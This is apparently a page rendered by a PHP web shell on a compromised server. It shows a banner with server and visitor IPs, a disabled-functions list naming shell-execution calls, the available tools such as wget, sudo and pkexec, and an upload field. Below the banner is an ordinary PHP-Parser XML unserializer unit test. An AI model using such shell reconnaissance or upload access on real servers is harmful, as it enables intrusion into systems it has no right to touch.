Server IP : 127.0.0.2 / Your IP : 18.191.44.139 Web Server : Apache/2.4.18 (Ubuntu) System : User : www-data ( ) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/vendor/nikic/php-parser/test/PhpParser/Unserializer/ |
Upload File : |
<?php namespace PhpParser\Unserializer; use PhpParser\Comment; use PhpParser\Node\Scalar; class XMLTest extends \PHPUnit_Framework_TestCase { public function testNode() { $xml = <<<XML <?xml version="1.0" encoding="UTF-8"?> <AST xmlns:node="http://nikic.github.com/PHPParser/XML/node" xmlns:subNode="http://nikic.github.com/PHPParser/XML/subNode" xmlns:attribute="http://nikic.github.com/PHPParser/XML/attribute" xmlns:scalar="http://nikic.github.com/PHPParser/XML/scalar"> <node:Scalar_String line="1" docComment="/** doc comment */"> <attribute:startLine> <scalar:int>1</scalar:int> </attribute:startLine> <attribute:comments> <scalar:array> <comment isDocComment="false" line="2">// comment </comment> <comment isDocComment="true" line="3">/** doc comment */</comment> </scalar:array> </attribute:comments> <subNode:value> <scalar:string>Test</scalar:string> </subNode:value> </node:Scalar_String> </AST> XML; $unserializer = new XML; $this->assertEquals( new Scalar\String_('Test', array( 'startLine' => 1, 'comments' => array( new Comment('// comment' . "\n", 2), new Comment\Doc('/** doc comment */', 3), ), )), $unserializer->unserialize($xml) ); } public function testEmptyNode() { $xml = <<<XML <?xml version="1.0" encoding="UTF-8"?> <AST xmlns:node="http://nikic.github.com/PHPParser/XML/node"> <node:Scalar_MagicConst_Class /> </AST> XML; $unserializer = new XML; $this->assertEquals( new Scalar\MagicConst\Class_, $unserializer->unserialize($xml) ); } public function testScalars() { $xml = <<<XML <?xml version="1.0" encoding="UTF-8"?> <AST xmlns:scalar="http://nikic.github.com/PHPParser/XML/scalar"> <scalar:array> <scalar:array></scalar:array> <scalar:array/> <scalar:string>test</scalar:string> <scalar:string></scalar:string> <scalar:string/> <scalar:int>1</scalar:int> <scalar:float>1</scalar:float> <scalar:float>1.5</scalar:float> <scalar:true/> <scalar:false/> <scalar:null/> </scalar:array> </AST> XML; $result = array( array(), array(), 'test', '', '', 1, 1, 1.5, true, false, null ); $unserializer = new XML; $this->assertEquals($result, $unserializer->unserialize($xml)); } /** * @expectedException \DomainException * @expectedExceptionMessage AST root element not found */ public function testWrongRootElementError() { $xml = <<<XML <?xml version="1.0" encoding="UTF-8"?> <notAST/> XML; $unserializer = new XML; $unserializer->unserialize($xml); } /** * @dataProvider provideTestErrors */ public function testErrors($xml, $errorMsg) { $this->setExpectedException('DomainException', $errorMsg); $xml = <<<XML <?xml version="1.0" encoding="UTF-8"?> <AST xmlns:scalar="http://nikic.github.com/PHPParser/XML/scalar" xmlns:node="http://nikic.github.com/PHPParser/XML/node" xmlns:subNode="http://nikic.github.com/PHPParser/XML/subNode" xmlns:foo="http://nikic.github.com/PHPParser/XML/foo"> $xml </AST> XML; $unserializer = new XML; $unserializer->unserialize($xml); } public function provideTestErrors() { return array( array('<scalar:true>test</scalar:true>', '"true" scalar must be empty'), array('<scalar:false>test</scalar:false>', '"false" scalar must be empty'), array('<scalar:null>test</scalar:null>', '"null" scalar must be empty'), array('<scalar:foo>bar</scalar:foo>', 'Unknown scalar type "foo"'), array('<scalar:int>x</scalar:int>', '"x" is not a valid int'), array('<scalar:float>x</scalar:float>', '"x" is not a valid float'), array('', 'Expected node or scalar'), array('<foo:bar>test</foo:bar>', 'Unexpected node of type "foo:bar"'), array( '<node:Scalar_String><foo:bar>test</foo:bar></node:Scalar_String>', 'Expected sub node or attribute, got node of type "foo:bar"' ), array( '<node:Scalar_String><subNode:value/></node:Scalar_String>', 'Expected node or scalar' ), array( '<node:Foo><subNode:value/></node:Foo>', 'Unknown node type "Foo"' ), ); } }